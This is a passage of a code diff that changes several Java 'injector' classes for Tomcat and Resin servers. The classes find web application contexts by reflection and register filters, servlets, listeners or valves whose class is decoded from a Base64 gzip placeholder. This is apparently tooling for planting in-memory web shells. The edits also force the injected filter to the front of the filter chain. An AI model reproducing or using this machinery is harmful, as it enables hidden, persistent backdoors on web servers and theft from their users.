invokeMethod(urlPattern, "init", null, null);
|
invokeMethod(urlPattern, "init", null, null);
|
||||||
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
||||||
|
|
||||||
|
List filterMappings = (List) getFieldValue(getFieldValue(context, "_filterMapper"), "_filterMap");
|
||||||
|
filterMappings.remove(filterMappingImpl);
|
||||||
|
filterMappings.add(0, filterMappingImpl);
|
||||||
|
|
||||||
invokeMethod(context, "clearCache", null, null);
|
invokeMethod(context, "clearCache", null, null);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -193,30 +201,25 @@ public class ResinFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -6,7 +6,6 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
@@ -38,7 +37,7 @@ public class ResinListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -182,30 +181,25 @@ public class ResinListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -6,7 +6,9 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -40,7 +42,7 @@ public class ResinServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -183,30 +185,25 @@ public class ResinServletInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream;
|
|||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -42,7 +43,7 @@ public class TomcatFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -60,22 +61,6 @@ public class TomcatFilterInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
/**
|
/**
|
||||||
* org.apache.catalina.core.StandardContext
|
* org.apache.catalina.core.StandardContext
|
||||||
* /usr/local/tomcat/server/lib/catalina.jar
|
* /usr/local/tomcat/server/lib/catalina.jar
|
||||||
@@ -117,6 +102,23 @@ public class TomcatFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
@@ -149,15 +151,18 @@ public class TomcatFilterInjector {
|
|||||||
}
|
}
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
Object filterMap;
|
Object filterMap;
|
||||||
|
Class<?> filterMapClass;
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
try {
|
try {
|
||||||
// tomcat v8+
|
// tomcat v8+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e2) {
|
} catch (Exception e2) {
|
||||||
// tomcat v5+
|
// tomcat v5+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
@@ -175,11 +180,17 @@ public class TomcatFilterInjector {
|
|||||||
// tomcat v5
|
// tomcat v5
|
||||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// addFilterMapFirst
|
||||||
|
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
|
||||||
|
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
|
||||||
|
results[0] = filterMap;
|
||||||
|
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
|
||||||
try {
|
try {
|
||||||
// v7.0.0 以上
|
// Tomcat5
|
||||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
setFieldValue(context, "filterMaps", results);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor filterConfigConstructor;
|
Constructor filterConfigConstructor;
|
||||||
@@ -251,20 +262,34 @@ public class TomcatFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
Class<?> clazz = obj.getClass();
|
for (Class<?> clazz = obj.getClass();
|
||||||
while (clazz != Object.class) {
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
try {
|
try {
|
||||||
Field field = clazz.getDeclaredField(name);
|
return clazz.getDeclaredField(name);
|
||||||
field.setAccessible(true);
|
} catch (NoSuchFieldException ignored) {
|
||||||
return field.get(obj);
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
|
Field field = getField(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(obj, value);
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getErrorMessage(Throwable throwable) {
|
private String getErrorMessage(Throwable throwable) {
|
||||||
PrintStream printStream = null;
|
PrintStream printStream = null;
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ public class TomcatListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -53,23 +53,6 @@ public class TomcatListenerInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -107,7 +90,24 @@ public class TomcatListenerInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -226,30 +226,25 @@ public class TomcatListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -8,7 +8,9 @@ import java.lang.reflect.Field;
|
|||||||
import java.lang.reflect.InvocationHandler;
|
import java.lang.reflect.InvocationHandler;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.lang.reflect.Proxy;
|
import java.lang.reflect.Proxy;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -21,6 +23,14 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
private static String msg = "";
|
private static String msg = "";
|
||||||
private static boolean ok = false;
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
public TomcatProxyValveInjector() {
|
public TomcatProxyValveInjector() {
|
||||||
if (ok) {
|
if (ok) {
|
||||||
return;
|
return;
|
||||||
@@ -31,7 +41,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -49,36 +59,11 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
|
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
|
||||||
this.rawValve = rawValve;
|
this.rawValve = rawValve;
|
||||||
this.proxyValve = proxyValve;
|
this.proxyValve = proxyValve;
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getClassName() {
|
|
||||||
return "{{className}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getBase64String() {
|
|
||||||
return "{{base64Str}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||||
if ("invoke".equals(method.getName())) {
|
if ("invoke".equals(method.getName())) {
|
||||||
@@ -133,6 +118,23 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
|||||||
@@ -8,7 +8,9 @@ import java.lang.reflect.Array;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -42,7 +44,7 @@ public class TomcatServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -60,23 +62,6 @@ public class TomcatServletInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -114,6 +99,23 @@ public class TomcatServletInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
|||||||
@@ -37,7 +37,7 @@ public class TomcatUpgradeInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -55,23 +55,6 @@ public class TomcatUpgradeInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
